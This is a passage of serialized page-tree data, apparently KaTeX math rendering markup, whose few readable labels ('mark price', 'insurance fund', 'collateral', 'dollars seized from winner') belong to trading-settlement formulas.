228},{"style":161227},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[161229,161233],{"type":24,"tag":83,"props":161230,"children":161232},{"className":161231,"style":3794},[3793],[],{"type":24,"tag":83,"props":161234,"children":161236},{"className":161235},[3799,3800,3801,3802],[161237],{"type":24,"tag":83,"props":161238,"children":161240},{"className":161239},[3753,21328,3802],[161241],{"type":29,"value":21470},{"type":24,"tag":83,"props":161243,"children":161245},{"className":161244},[21485],[161246],{"type":29,"value":21488},{"type":24,"tag":83,"props":161248,"children":161250},{"className":161249},[3779],[161251],{"type":24,"tag":83,"props":161252,"children":161254},{"className":161253,"style":92843},[3784],[161255],{"type":24,"tag":83,"props":161256,"children":161257},{},[],{"type":24,"tag":83,"props":161259,"children":161261},{"className":161260},[21485],[161262],{"type":29,"value":21488},{"type":24,"tag":83,"props":161264,"children":161266},{"className":161265},[3779],[161267],{"type":24,"tag":83,"props":161268,"children":161271},{"className":161269,"style":161270},[3784],"height:11.3392em;",[161272],{"type":24,"tag":83,"props":161273,"children":161274},{},[],{"type":24,"tag":83,"props":161276,"children":161278},{"className":161277},[159394],[161279],{"type":24,"tag":83,"props":161280,"children":161282},{"className":161281},[3774,21382],[161283,162985],{"type":24,"tag":83,"props":161284,"children":161286},{"className":161285},[3779],[161287,162980],{"type":24,"tag":83,"props":161288,"children":161290},{"className":161289,"style":160471},[3784],[161291,161329,161367,161514,161749,161904,162009,162052,162273,162432,162622,162774],{"type":24,"tag":83,"props":161292,"children":161293},{"style":160475},[161294,161298],{"type":24,"tag":83,"props":161295,"children":161297},{"className":161296,"style":160480},[3793],[],{"type":24,"tag":83,"props":161299,"children":161301},{"className":161300},[3753],[161302,161306,161310,161315,161319],{"type":24,"tag":83,"props":161303,"children":161305},{"className":161304},[3753],[],{"type":24,"tag":83,"props":161307,"children":161309},{"className":161308,"style":3931},[3833],[],{"type":24,"tag":83,"props":161311,"children":161313},{"className":161312},[3936],[161314],{"type":29,"value":21347},{"type":24,"tag":83,"props":161316,"children":161318},{"className":161317,"style":3931},[3833],[],{"type":24,"tag":83,"props":161320,"children":161322},{"className":161321},[3753,29],[161323],{"type":24,"tag":83,"props":161324,"children":161326},{"className":161325},[3753],[161327],{"type":29,"value":161328},"mark price",{"type":24,"tag":83,"props":161330,"children":161331},{"style":160546},[161332,161336],{"type":24,"tag":83,"props":161333,"children":161335},{"className":161334,"style":160480},[3793],[],{"type":24,"tag":83,"props":161337,"children":161339},{"className":161338},[3753],[161340,161344,161348,161353,161357],{"type":24,"tag":83,"props":161341,"children":161343},{"className":161342},[3753],[],{"type":24,"tag":83,"props":161345,"children":161347},{"className":161346,"style":3931},[3833],[],{"type":24,"tag":83,"props":161349,"children":161351},{"className":161350},[3936],[161352],{"type":29,"value":21347},{"type":24,"tag":83,"props":161354,"children":161356},{"className":161355,"style":3931},[3833],[],{"type":24,"tag":83,"props":161358,"children":161360},{"className":161359},[3753,29],[161361],{"type":24,"tag":83,"props":161362,"children":161364},{"className":161363},[3753],[161365],{"type":29,"value":161366},"insurance fund",{"type":24,"tag":83,"props":161368,"children":161369},{"style":160563},[161370,161374],{"type":24,"tag":83,"props":161371,"children":161373},{"className":161372,"style":160480},[3793],[],{"type":24,"tag":83,"props":161375,"children":161377},{"className":161376},[3753],[161378,161382,161386,161391,161395,161405,161409,161414,161418],{"type":24,"tag":83,"props":161379,"children":161381},{"className":161380},[3753],[],{"type":24,"tag":83,"props":161383,"children":161385},{"className":161384,"style":3931},[3833],[],{"type":24,"tag":83,"props":161387,"children":161389},{"className":161388},[3936],[161390],{"type":29,"value":21347},{"type":24,"tag":83,"props":161392,"children":161394},{"className":161393,"style":3931},[3833],[],{"type":24,"tag":83,"props":161396,"children":161398},{"className":161397},[3753,29],[161399],{"type":24,"tag":83,"props":161400,"children":161402},{"className":161401},[3753],[161403],{"type":29,"value":161404},"collateral",{"type":24,"tag":83,"props":161406,"children":161408},{"className":161407,"style":3931},[3833],[],{"type":24,"tag":83,"props":161410,"children":161412},{"className":161411},[3936],[161413],{"type":29,"value":1275},{"type":24,"tag":83,"props":161415,"children":161417},{"className":161416,"style":3931},[3833],[],{"type":24,"tag":83,"props":161419,"children":161421},{"className":161420},[3753],[161422,161426,161510],{"type":24,"tag":83,"props":161423,"children":161425},{"className":161424},[21457,113098],[],{"type":24,"tag":83,"props":161427,"children":161429},{"className":161428},[113103],[161430],{"type":24,"tag":83,"props":161431,"children":161433},{"className":161432},[3774,21382],[161434,161499],{"type":24,"tag":83,"props":161435,"children":161437},{"className":161436},[3779],[161438,161494],{"type":24,"tag":83,"props":161439,"children":161442},{"className":161440,"style":161441},[3784],"height:1.3714em;",[161443,161463,161474],{"type":24,"tag":83,"props":161444,"children":161445},{"style":158689},[161446,161450],{"type":24,"tag":83,"props":161447,"children":161449},{"className":161448,"style":111751},[3793],[],{"type":24,"tag":83,"props":161451,"children":161453},{"className":161452},[3753],[161454],{"type":24,"tag":83,"props":161455,"children":161457},{"className":161456},[3753,29],[161458],{"type":24,"tag":83,"props":161459,"children":161461},{"className":161460},[3753],[161462],{"type":29,"value":158726},{"type":24,"tag":83,"props":161464,"children":161465},{"style":113153},[161466,161470],{"type":24,"tag":83,"props":161467,"children":161469},{"className":161468,"style":111751},[3793],[],{"type":24,"tag":83,"props":161471,"children":161473},{"className":161472,"style":113163},[113162],[],{"type":24,"tag":83,"props":161475,"children":161476},{"style":158740},[161477,161481],{"type":24,"tag":83,"props":161478,"children":161480},{"className":161479,"style":111751},[3793],[],{"type":24,"tag":83,"props":161482,"children":161484},{"className":161483},[3753],[161485],{"type":24,"tag":83,"props":161486,"children":161488},{"className":161487},[3753,29],[161489],{"type":24,"tag":83,"props":161490,"children":161492},{"className":161491},[3753],[161493],{"type":29,"value":158765},{"type":24,"tag":83,"props":161495,"children":161497},{"className":161496},[21485],[161498],{"type":29,"value":21488},{"type":24,"tag":83,"props":161500,"children":161502},{"className":161501},[3779],[161503],{"type":24,"tag":83,"props":161504,"children":161506},{"className":161505,"style":158783},[3784],[161507],{"type":24,"tag":83,"props":161508,"children":161509},{},[],{"type":24,"tag":83,"props":161511,"children":161513},{"className":161512},[21479,113098],[],{"type":24,"tag":83,"props":161515,"children":161516},{"style":160632},[161517,161521],{"type":24,"tag":83,"props":161518,"children":161520},{"className":161519,"style":160480},[3793],[],{"type":24,"tag":83,"props":161522,"children":161524},{"className":161523},[3753],[161525,161529,161533,161538,161542,161599,161603,161608,161612,161617,161674,161678,161683,161687,161744],{"type":24,"tag":83,"props":161526,"children":161528},{"className":161527},[3753],[],{"type":24,"tag":83,"props":161530,"children":161532},{"className":161531,"style":3931},[3833],[],{"type":24,"tag":83,"props":161534,"children":161536},{"className":161535},[3936],[161537],{"type":29,"value":1275},{"type":24,"tag":83,"props":161539,"children":161541},{"className":161540,"style":3931},[3833],[],{"type":24,"tag":83,"props":161543,"children":161545},{"className":161544},[3753],[161546,161551],{"type":24,"tag":83,"props":161547,"children":161549},{"className":161548},[3753,21328],[161550],{"type":29,"value":10399},{"type":24,"tag":83,"props":161552,"children":161554},{"className":161553},[3769],[161555],{"type":24,"tag":83,"props":161556,"children":161558},{"className":161557},[3774,21382],[161559,161588],{"type":24,"tag":83,"props":161560,"children":161562},{"className":161561},[3779],[161563,161583],{"type":24,"tag":83,"props":161564,"children":161566},{"className":161565,"style":93289},[3784],[161567],{"type":24,"tag":83,"props":161568,"children":161569},{"style":92816},[161570,161574],{"type":24,"tag":83,"props":161571,"children":161573},{"className":161572,"style":3794},[3793],[],{"type":24,"tag":83,"props":161575,"children":161577},{"className":161576},[3799,3800,3801,3802],[161578],{"type":24,"tag":83,"props":161579,"children":161581},{"className":161580},[3753,21328,3802],[161582],{"type":29,"value":3482},{"type":24,"tag":83,"props":161584,"children":161586},{"className":161585},[21485],[161587],{"type":29,"value":21488},{"type":24,"tag":83,"props":161589,"children":161591},{"className":161590},[3779],[161592],{"type":24,"tag":83,"props":161593,"children":161595},{"className":161594,"style":92843},[3784],[161596],{"type":24,"tag":83,"props":161597,"children":161598},{},[],{"type":24,"tag":83,"props":161600,"children":161602},{"className":161601,"style":3834},[3833],[],{"type":24,"tag":83,"props":161604,"children":161606},{"className":161605},[3839],[161607],{"type":29,"value":110842},{"type":24,"tag":83,"props":161609,"children":161611},{"className":161610,"style":3834},[3833],[],{"type":24,"tag":83,"props":161613,"children":161615},{"className":161614},[21457],[161616],{"type":29,"value":558},{"type":24,"tag":83,"props":161618,"children":161620},{"className":161619},[3753],[161621,161626],{"type":24,"tag":83,"props":161622,"children":161624},{"className":161623,"style":21329},[3753,21328],[161625],{"type":29,"value":21332},{"type":24,"tag":83,"props":161627,"children":161629},{"className":161628},[3769],[161630],{"type":24,"tag":83,"props":161631,"children":161633},{"className":161632},[3774,21382],[161634,161663],{"type":24,"tag":83,"props":161635,"children":161637},{"className":161636},[3779],[161638,161658],{"type":24,"tag":83,"props":161639,"children":161641},{"className":161640,"style":109012},[3784],[161642],{"type":24,"tag":83,"props":161643,"children":161644},{"style":160513},[161645,161649],{"type":24,"tag":83,"props":161646,"children":161648},{"className":161647,"style":3794},[3793],[],{"type":24,"tag":83,"props":161650,"children":161652},{"className":161651},[3799,3800,3801,3802],[161653],{"type":24,"tag":83,"props":161654,"children":161656},{"className":161655},[3753,21328,3802],[161657],{"type":29,"value":56117},{"type":24,"tag":83,"props":161659,"children":161661},{"className":161660},[21485],[161662],{"type":29,"value":21488},{"type":24,"tag":83,"props":161664,"children":161666},{"className":161665},[3779],[161667],{"type":24,"tag":83,"props":161668,"children":161670},{"className":161669,"style":92843},[3784],[161671],{"type":24,"tag":83,"props":161672,"children":161673},{},[],{"type":24,"tag":83,"props":161675,"children":161677},{"className":161676,"style":3834},[3833],[],{"type":24,"tag":83,"props":161679,"children":161681},{"className":161680},[3839],[161682],{"type":29,"value":3813},{"type":24,"tag":83,"props":161684,"children":161686},{"className":161685,"style":3834},[3833],[],{"type":24,"tag":83,"props":161688,"children":161690},{"className":161689},[3753],[161691,161696],{"type":24,"tag":83,"props":161692,"children":161694},{"className":161693},[3753,21328],[161695],{"type":29,"value":25},{"type":24,"tag":83,"props":161697,"children":161699},{"className":161698},[3769],[161700],{"type":24,"tag":83,"props":161701,"children":161703},{"className":161702},[3774,21382],[161704,161733],{"type":24,"tag":83,"props":161705,"children":161707},{"className":161706},[3779],[161708,161728],{"type":24,"tag":83,"props":161709,"children":161711},{"className":161710,"style":93289},[3784],[161712],{"type":24,"tag":83,"props":161713,"children":161714},{"style":92816},[161715,161719],{"type":24,"tag":83,"props":161716,"children":161718},{"className":161717,"style":3794},[3793],[],{"type":24,"tag":83,"props":161720,"children":161722},{"className":161721},[3799,3800,3801,3802],[161723],{"type":24,"tag":83,"props":161724,"children":161726},{"className":161725},[3753,21328,3802],[161727],{"type":29,"value":3482},{"type":24,"tag":83,"props":161729,"children":161731},{"className":161730},[21485],[161732],{"type":29,"value":21488},{"type":24,"tag":83,"props":161734,"children":161736},{"className":161735},[3779],[161737],{"type":24,"tag":83,"props":161738,"children":161740},{"className":161739,"style":92843},[3784],[161741],{"type":24,"tag":83,"props":161742,"children":161743},{},[],{"type":24,"tag":83,"props":161745,"children":161747},{"className":161746},[21479],[161748],{"type":29,"value":2872},{"type":24,"tag":83,"props":161750,"children":161751},{"style":160702},[161752,161756],{"type":24,"tag":83,"props":161753,"children":161755},{"className":161754,"style":160480},[3793],[],{"type":24,"tag":83,"props":161757,"children":161759},{"className":161758},[3753],[161760,161764,161768,161773,161777,161834,161838,161843,161847],{"type":24,"tag":83,"props":161761,"children":161763},{"className":161762},[3753],[],{"type":24,"tag":83,"props":161765,"children":161767},{"className":161766,"style":3931},[3833],[],{"type":24,"tag":83,"props":161769,"children":161771},{"className":161770},[3936],[161772],{"type":29,"value":1275},{"type":24,"tag":83,"props":161774,"children":161776},{"className":161775,"style":3931},[3833],[],{"type":24,"tag":83,"props":161778,"children":161780},{"className":161779},[3753],[161781,161786],{"type":24,"tag":83,"props":161782,"children":161784},{"className":161783},[3753,21328],[161785],{"type":29,"value":2891},{"type":24,"tag":83,"props":161787,"children":161789},{"className":161788},[3769],[161790],{"type":24,"tag":83,"props":161791,"children":161793},{"className":161792},[3774,21382],[161794,161823],{"type":24,"tag":83,"props":161795,"children":161797},{"className":161796},[3779],[161798,161818],{"type":24,"tag":83,"props":161799,"children":161801},{"className":161800,"style":93289},[3784],[161802],{"type":24,"tag":83,"props":161803,"children":161804},{"style":92816},[161805,161809],{"type":24,"tag":83,"props":161806,"children":161808},{"className":161807,"style":3794},[3793],[],{"type":24,"tag":83,"props":161810,"children":161812},{"className":161811},[3799,3800,3801,3802],[161813],{"type":24,"tag":83,"props":161814,"children":161816},{"className":161815},[3753,21328,3802],[161817],{"type":29,"value":3482},{"type":24,"tag":83,"props":161819,"children":161821},{"className":161820},[21485],[161822],{"type":29,"value":21488},{"type":24,"tag":83,"props":161824,"children":161826},{"className":161825},[3779],[161827],{"type":24,"tag":83,"props":161828,"children":161830},{"className":161829,"style":92843},[3784],[161831],{"type":24,"tag":83,"props":161832,"children":161833},{},[],{"type":24,"tag":83,"props":161835,"children":161837},{"className":161836,"style":3834},[3833],[],{"type":24,"tag":83,"props":161839,"children":161841},{"className":161840},[3839],[161842],{"type":29,"value":4126},{"type":24,"tag":83,"props":161844,"children":161846},{"className":161845,"style":3834},[3833],[],{"type":24,"tag":83,"props":161848,"children":161850},{"className":161849},[3753],[161851,161856],{"type":24,"tag":83,"props":161852,"children":161854},{"className":161853,"style":93246},[3753,21328],[161855],{"type":29,"value":160651},{"type":24,"tag":83,"props":161857,"children":161859},{"className":161858},[3769],[161860],{"type":24,"tag":83,"props":161861,"children":161863},{"className":161862},[3774,21382],[161864,161893],{"type":24,"tag":83,"props":161865,"children":161867},{"className":161866},[3779],[161868,161888],{"type":24,"tag":83,"props":161869,"children":161871},{"className":161870,"style":93289},[3784],[161872],{"type":24,"tag":83,"props":161873,"children":161874},{"style":93293},[161875,161879],{"type":24,"tag":83,"props":161876,"children":161878},{"className":161877,"style":3794},[3793],[],{"type":24,"tag":83,"props":161880,"children":161882},{"className":161881},[3799,3800,3801,3802],[161883],{"type":24,"tag":83,"props":161884,"children":161886},{"className":161885},[3753,21328,3802],[161887],{"type":29,"value":3482},{"type":24,"tag":83,"props":161889,"children":161891},{"className":161890},[21485],[161892],{"type":29,"value":21488},{"type":24,"tag":83,"props":161894,"children":161896},{"className":161895},[3779],[161897],{"type":24,"tag":83,"props":161898,"children":161900},{"className":161899,"style":92843},[3784],[161901],{"type":24,"tag":83,"props":161902,"children":161903},{},[],{"type":24,"tag":83,"props":161905,"children":161906},{"style":160771},[161907,161911],{"type":24,"tag":83,"props":161908,"children":161910},{"className":161909,"style":160480},[3793],[],{"type":24,"tag":83,"props":161912,"children":161914},{"className":161913},[3753],[161915,161919,161923,161928,161932],{"type":24,"tag":83,"props":161916,"children":161918},{"className":161917},[3753],[],{"type":24,"tag":83,"props":161920,"children":161922},{"className":161921,"style":3931},[3833],[],{"type":24,"tag":83,"props":161924,"children":161926},{"className":161925},[3936],[161927],{"type":29,"value":1275},{"type":24,"tag":83,"props":161929,"children":161931},{"className":161930,"style":3931},[3833],[],{"type":24,"tag":83,"props":161933,"children":161935},{"className":161934},[3753],[161936,161941],{"type":24,"tag":83,"props":161937,"children":161939},{"className":161938,"style":93246},[3753,21328],[161940],{"type":29,"value":160651},{"type":24,"tag":83,"props":161942,"children":161944},{"className":161943},[3769],[161945],{"type":24,"tag":83,"props":161946,"children":161948},{"className":161947},[3774,21382],[161949,161997],{"type":24,"tag":83,"props":161950,"children":161952},{"className":161951},[3779],[161953,161992],{"type":24,"tag":83,"props":161954,"children":161957},{"className":161955,"style":161956},[3784],"height:0.8213em;",[161958,161975],{"type":24,"tag":83,"props":161959,"children":161961},{"style":161960},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[161962,161966],{"type":24,"tag":83,"props":161963,"children":161965},{"className":161964,"style":3794},[3793],[],{"type":24,"tag":83,"props":161967,"children":161969},{"className":161968},[3799,3800,3801,3802],[161970],{"type":24,"tag":83,"props":161971,"children":161973},{"className":161972},[3753,21328,3802],[161974],{"type":29,"value":3482},{"type":24,"tag":83,"props":161976,"children":161978},{"style":161977},"top:-3.113em;margin-right:0.05em;",[161979,161983],{"type":24,"tag":83,"props":161980,"children":161982},{"className":161981,"style":3794},[3793],[],{"type":24,"tag":83,"props":161984,"children":161986},{"className":161985},[3799,3800,3801,3802],[161987],{"type":24,"tag":83,"props":161988,"children":161990},{"className":161989},[3839,3802],[161991],{"type":29,"value":4126},{"type":24,"tag":83,"props":161993,"children":161995},{"className":161994},[21485],[161996],{"type":29,"value":21488},{"type":24,"tag":83,"props":161998,"children":162000},{"className":161999},[3779],[162001],{"type":24,"tag":83,"props":162002,"children":162005},{"className":162003,"style":162004},[3784],"height:0.267em;",[162006],{"type":24,"tag":83,"props":162007,"children":162008},{},[],{"type":24,"tag":83,"props":162010,"children":162011},{"style":160841},[162012,162016],{"type":24,"tag":83,"props":162013,"children":162015},{"className":162014,"style":160480},[3793],[],{"type":24,"tag":83,"props":162017,"children":162019},{"className":162018},[3753],[162020,162024,162028,162033,162037,162047],{"type":24,"tag":83,"props":162021,"children":162023},{"className":162022},[3753],[],{"type":24,"tag":83,"props":162025,"children":162027},{"className":162026,"style":3931},[3833],[],{"type":24,"tag":83,"props":162029,"children":162031},{"className":162030},[3936],[162032],{"type":29,"value":21347},{"type":24,"tag":83,"props":162034,"children":162036},{"className":162035,"style":3931},[3833],[],{"type":24,"tag":83,"props":162038,"children":162040},{"className":162039},[3753,29],[162041],{"type":24,"tag":83,"props":162042,"children":162044},{"className":162043},[3753],[162045],{"type":29,"value":162046},"dollars seized from winner ",{"type":24,"tag":83,"props":162048,"children":162050},{"className":162049},[3753,21328],[162051],{"type":29,"value":3482},{"type":24,"tag":83,"props":162053,"children":162054},{"style":160910},[162055,162059],{"type":24,"tag":83,"props":162056,"children":162058},{"className":162057,"style":160480},[3793],[],{"type":24,"tag":83,"props":162060,"children":162062},{"className":162061},[3753],[162063,162067,162071,162076,162080],{"type":24,"tag":83,"props":162064,"children":162066},{"className":162065},[3753],[],{"type":24,"tag":83,"props":162068,"children":162070},{"className":162069,"style":3931},[3833],[],{"type":24,"tag":83,"props":162072,"children":162074},{"className":162073},[3936],[162075],{"type":29,"value":1275},{"type":24,"tag":83,"props":162077,"children":162079},{"className":162078,"style":3931},[3833],[],{"type":24,"tag":83,"props":162081,"children":162083},{"className":162082},[3753],[162084,162088,162269],{"type":24,"tag":83,"props":162085,"children":162087},{"className":162086},[21457,113098],[],{"type":24,"tag":83,"props":162089,"children":162091},{"className":162090},[113103],[162092],{"type":24,"tag":83,"props":162093,"children":162095},{"className":162094},[3774,21382],[162096,162257],{"type":24,"tag":83,"props":162097,"children":162099},{"className":162098},[3779],[162100,162252],{"type":24,"tag":83,"props":162101,"children":162104},{"className":162102,"style":162103},[3784],"height:1.1076em;",[162105,162173,162184],{"type":24,"tag":83,"props":162106,"children":162107},{"style":158689},[162108,162112],{"type":24,"tag":83,"props":162109,"children":162111},{"className":162110,"style":111751},[3793],[],{"type":24,"tag":83,"props":162113,"children":162115},{"className":162114},[3753],[162116],{"type":24,"tag":83,"props":162117,"children":162119},{"className":162118},[3753],[162120,162125],{"type":24,"tag":83,"props":162121,"children":162123},{"className":162122,"style":121860},[3753,21328],[162124],{"type":29,"value":49288},{"type":24,"tag":83,"props":162126,"children":162128},{"className":162127},[3769],[162129],{"type":24,"tag":83,"props":162130,"children":162132},{"className":162131},[3774,21382],[162133,162162],{"type":24,"tag":83,"props":162134,"children":162136},{"className":162135},[3779],[162137,162157],{"type":24,"tag":83,"props":162138,"children":162140},{"className":162139,"style":93289},[3784],[162141],{"type":24,"tag":83,"props":162142,"children":162143},{"style":160808},[162144,162148],{"type":24,"tag":83,"props":162145,"children":162147},{"className":162146,"style":3794},[3793],[],{"type":24,"tag":83,"props":162149,"children":162151},{"className":162150},[3799,3800,3801,3802],[162152],{"type":24,"tag":83,"props":162153,"children":162155},{"className":162154},[3753,21328,3802],[162156],{"type":29,"value":3482},{"type":24,"tag":83,"props":162158,"children":162160},{"className":162159},[21485],[162161],{"type":29,"value":21488},{"type":24,"tag":83,"props":162163,"children":162165},{"className":162164},[3779],[162166],{"type":24,"tag":83,"props":162167,"children":162169},{"className":162168,"style":92843},[3784],[162170],{"type":24,"tag":83,"props":162171,"children":162172},{},[],{"type":24,"tag":83,"props":162174,"children":162175},{"style":113153},[162176,162180],{"type":24,"tag":83,"props":162177,"children":162179},{"className":162178,"style":111751},[3793],[],{"type":24,"tag":83,"props":162181,"children":162183},{"className":162182,"style":113163},[113162],[],{"type":24,"tag":83,"props":162185,"children":162186},{"style":158740},[162187,162191],{"type":24,"tag":83,"props":162188,"children":162190},{"className":162189,"style":111751},[3793],[],{"type":24,"tag":83,"props":162192,"children":162194},{"className":162193},[3753],[162195],{"type":24,"tag":83,"props":162196,"children":162198},{"className":162197},[3753],[162199,162204],{"type":24,"tag":83,"props":162200,"children":162202},{"className":162201},[3753,21328],[162203],{"type":29,"value":19015},{"type":24,"tag":83,"props":162205,"children":162207},{"className":162206},[3769],[162208],{"type":24,"tag":83,"props":162209,"children":162211},{"className":162210},[3774,21382],[162212,162241],{"type":24,"tag":83,"props":162213,"children":162215},{"className":162214},[3779],[162216,162236],{"type":24,"tag":83,"props":162217,"children":162219},{"className":162218,"style":93289},[3784],[162220],{"type":24,"tag":83,"props":162221,"children":162222},{"style":92816},[162223,162227],{"type":24,"tag":83,"props":162224,"children":162226},{"className":162225,"style":3794},[3793],[],{"type":24,"tag":83,"props":162228,"children":162230},{"className":162229},[3799,3800,3801,3802],[162231],{"type":24,"tag":83,"props":162232,"children":162234},{"className":162233},[3753,21328,3802],[162235],{"type":29,"value":3482},{"type":24,"tag":83,"props":162237,"children":162239},{"className":162238},[21485],[162240],{"type":29,"value":21488},{"type":24,"tag":83,"props":162242,"children":162244},{"className":162243},[3779],[162245],{"type":24,"tag":83,"props":162246,"children":162248},{"className":162247,"style":92843},[3784],[162249],{"type":24,"tag":83,"props":162250,"children":162251},{},[],{"type":24,"tag":83,"props":162253,"children":162255},{"className":162254},[21485],[162256],{"type":29,"value":21488},{"type":24,"tag":83,"props":162258,"children":162260},{"className":162259},[3779],[162261],{"type":24,"tag":83,"props":162262,"children":162265},{"className":162263,"style":162264},[3784],"height:0.836em;",[162266],{"type":24,"tag":83,"props":162267,"children":162268},{},[],{"type":24,"tag":83,"props":162270,"children":162272},{"className":162271},[21479,113098],[],{"type":24,"tag":83,"props":162274,"children":162275},{"style":160979},[162276,162280],{"type":24,"tag":83,"props":162277,"children":162279},{"className":162278,"style":160480},[3793],[],{"type":24,"tag":83,"props":162281,"children":162283},{"className":162282},[3753],[162284,162288,162292,162297,162301,162371,162375],{"type":24,"tag":83,"props":162285,"children":162287},{"className":162286},[3753],[],{"type":24,"tag":83,"props":162289,"children":162291},{"className":162290,"style":3931},[3833],[],{"type":24,"tag":83,"props":162293,"children":162295},{"className":162294},[3936],[162296],{"type":29,"value":1275},{"type":24,"tag":83,"props":162298,"children":162300},{"className":162299,"style":3931},[3833],[],{"type":24,"tag":83,"props":162302,"children":162305},{"className":162303},[21364,162304],"op-limits",[162306],{"type":24,"tag":83,"props":162307,"children":162309},{"className":162308},[3774,21382],[162310,162359],{"type":24,"tag":83,"props":162311,"children":162313},{"className":162312},[3779],[162314,162354],{"type":24,"tag":83,"props":162315,"children":162318},{"className":162316,"style":162317},[3784],"height:1.05em;",[162319,162337],{"type":24,"tag":83,"props":162320,"children":162322},{"style":162321},"top:-1.8723em;margin-left:0em;",[162323,162328],{"type":24,"tag":83,"props":162324,"children":162327},{"className":162325,"style":162326},[3793],"height:3.05em;",[],{"type":24,"tag":83,"props":162329,"children":162331},{"className":162330},[3799,3800,3801,3802],[162332],{"type":24,"tag":83,"props":162333,"children":162335},{"className":162334},[3753,21328,3802],[162336],{"type":29,"value":3482},{"type":24,"tag":83,"props":162338,"children":162340},{"style":162339},"top:-3.05em;",[162341,162345],{"type":24,"tag":83,"props":162342,"children":162344},{"className":162343,"style":162326},[3793],[],{"type":24,"tag":83,"props":162346,"children":162347},{},[162348],{"type":24,"tag":83,"props":162349,"children":162352},{"className":162350},[21364,21369,162351],"large-op",[162353],{"type":29,"value":108375},{"type":24,"tag":83,"props":162355,"children":162357},{"className":162356},[21485],[162358],{"type":29,"value":21488},{"type":24,"tag":83,"props":162360,"children":162362},{"className":162361},[3779],[162363],{"type":24,"tag":83,"props":162364,"children":162367},{"className":162365,"style":162366},[3784],"height:1.2777em;",[162368],{"type":24,"tag":83,"props":162369,"children":162370},{},[],{"type":24,"tag":83,"props":162372,"children":162374},{"className":162373,"style":3872},[3833],[],{"type":24,"tag":83,"props":162376,"children":162378},{"className":162377},[3753],[162379,162384],{"type":24,"tag":83,"props":162380,"children":162382},{"className":162381},[3753,21328],[162383],{"type":29,"value":19015},{"type":24,"tag":83,"props":162385,"children":162387},{"className":162386},[3769],[162388],{"type":24,"tag":83,"props":162389,"children":162391},{"className":162390},[3774,21382],[162392,162421],{"type":24,"tag":83,"props":162393,"children":162395},{"className":162394},[3779],[162396,162416],{"type":24,"tag":83,"props":162397,"children":162399},{"className":162398,"style":93289},[3784],[162400],{"type":24,"tag":83,"props":162401,"children":162402},{"style":92816},[162403,162407],{"type":24,"tag":83,"props":162404,"children":162406},{"className":162405,"style":3794},[3793],[],{"type":24,"tag":83,"props":162408,"children":162410},{"className":162409},[3799,3800,3801,3802],[162411],{"type":24,"tag":83,"props":162412,"children":162414},{"className":162413},[3753,21328,3802],[162415],{"type":29,"value":3482},{"type":24,"tag":83,"props":162417,"children":162419},{"className":162418},[21485],[162420],{"type":29,"value":21488},{"type":24,"tag":83,"props":162422,"children":162424},{"className":162423},[3779],[162425],{"type":24,"tag":83,"props":162426,"children":162428},{"className":162427,"style":92843},[3784],[162429],{"type":24,"tag":83,"props":162430,"children":162431},{},[],{"type":24,"tag":83,"props":162433,"children":162434},{"style":161048},[162435,162439],{"type":24,"tag":83,"props":162436,"children":162438},{"className":162437,"style":160480},[3793],[],{"type":24,"tag":83,"props":162440,"children":162442},{"className":162441},[3753],[162443,162447,162451,162456,162460,162523,162527,162532,162537,162542,162599,162604,162608,162612,162617],{"type":24,"tag":83,"props":162444,"children":162446},{"className":162445},[3753],[],{"type":24,"tag":83,"props":162448,"children":162450},{"className":162449,"style":3931},[3833],[],{"type":24,"tag":83,"props":162452,"children":162454},{"className":162453},[3936],[162455],{"type":29,"value":1275},{"type":24,"tag":83,"props":162457,"children":162459},{"className":162458,"style":3931},[3833],[],{"type":24,"tag":83,"props":162461,"children":162463},{"className":162462},[21364,162304],[162464],{"type":24,"tag":83,"props":162465,"children":162467},{"className":162466},[3774,21382],[162468,162512],{"type":24,"tag":83,"props":162469,"children":162471},{"className":162470},[3779],[162472,162507],{"type":24,"tag":83,"props":162473,"children":162475},{"className":162474,"style":162317},[3784],[162476,162492],{"type":24,"tag":83,"props":162477,"children":162478},{"style":162321},[162479,162483],{"type":24,"tag":83,"props":162480,"children":162482},{"className":162481,"style":162326},[3793],[],{"type":24,"tag":83,"props":162484,"children":162486},{"className":162485},[3799,3800,3801,3802],[162487],{"type":24,"tag":83,"props":162488,"children":162490},{"className":162489},[3753,21328,3802],[162491],{"type":29,"value":3482},{"type":24,"tag":83,"props":162493,"children":162494},{"style":162339},[162495,162499],{"type":24,"tag":83,"props":162496,"children":162498},{"className":162497,"style":162326},[3793],[],{"type":24,"tag":83,"props":162500,"children":162501},{},[162502],{"type":24,"tag":83,"props":162503,"children":162505},{"className":162504},[21364,21369,162351],[162506],{"type":29,"value":108375},{"type":24,"tag":83,"props":162508,"children":162510},{"className":162509},[21485],[162511],{"type":29,"value":21488},{"type":24,"tag":83,"props":162513,"children":162515},{"className":162514},[3779],[162516],{"type":24,"tag":83,"props":162517,"children":162519},{"className":162518,"style":162366},[3784],[162520],{"type":24,"tag":83,"props":162521,"children":162522},{},[],{"type":24,"tag":83,"props":162524,"children":162526},{"className":162525,"style":3872},[3833],[],{"type":24,"tag":83,"props":162528,"children":162530},{"className":162529},[21364],[162531],{"type":29,"value":160194},{"type":24,"tag":83,"props":162533,"children":162535},{"className":162534},[21457],[162536],{"type":29,"value":558},{"type":24,"tag":83,"props":162538,"children":162540},{"className":162539},[3753],[162541],{"type":29,"value":3813},{"type":24,"tag":83,"props":162543,"children":162545},{"className":162544},[3753],[162546,162551],{"type":24,"tag":83,"props":162547,"children":162549},{"className":162548},[3753,21328],[162550],{"type":29,"value":51169},{"type":24,"tag":83,"props":162552,"children":162554},{"className":162553},[3769],[162555],{"type":24,"tag":83,"props":162556,"children":162558},{"className":162557},[3774,21382],[162559,162588],{"type":24,"tag":83,"props":162560,"children":162562},{"className":162561},[3779],[162563,162583],{"type":24,"tag":83,"props":162564,"children":162566},{"className":162565,"style":93289},[3784],[162567],{"type":24,"tag":83,"props":162568,"children":162569},{"style":92816},[162570,162574],{"type":24,"tag":83,"props":162571,"children":162573},{"className":162572,"style":3794},[3793],[],{"type":24,"tag":83,"props":162575,"children":162577},{"className":162576},[3799,3800,3801,3802],[162578],{"type":24,"tag":83,"props":162579,"children":162581},{"className":162580},[3753,21328,3802],[162582],{"type":29,"value":3482},{"type":24,"tag":83,"props":162584,"children":162586},{"className":162585},[21485],[162587],{"type":29,"value":21488},{"type":24,"tag":83,"props":162589,"children":162591},{"className":162590},[3779],[162592],{"type":24,"tag":83,"props":162593,"children":162595},{"className":162594,"style":92843},[3784],[162596],{"type":24,"tag":83,"props":162597,"children":162598},{},[],{"type":24,"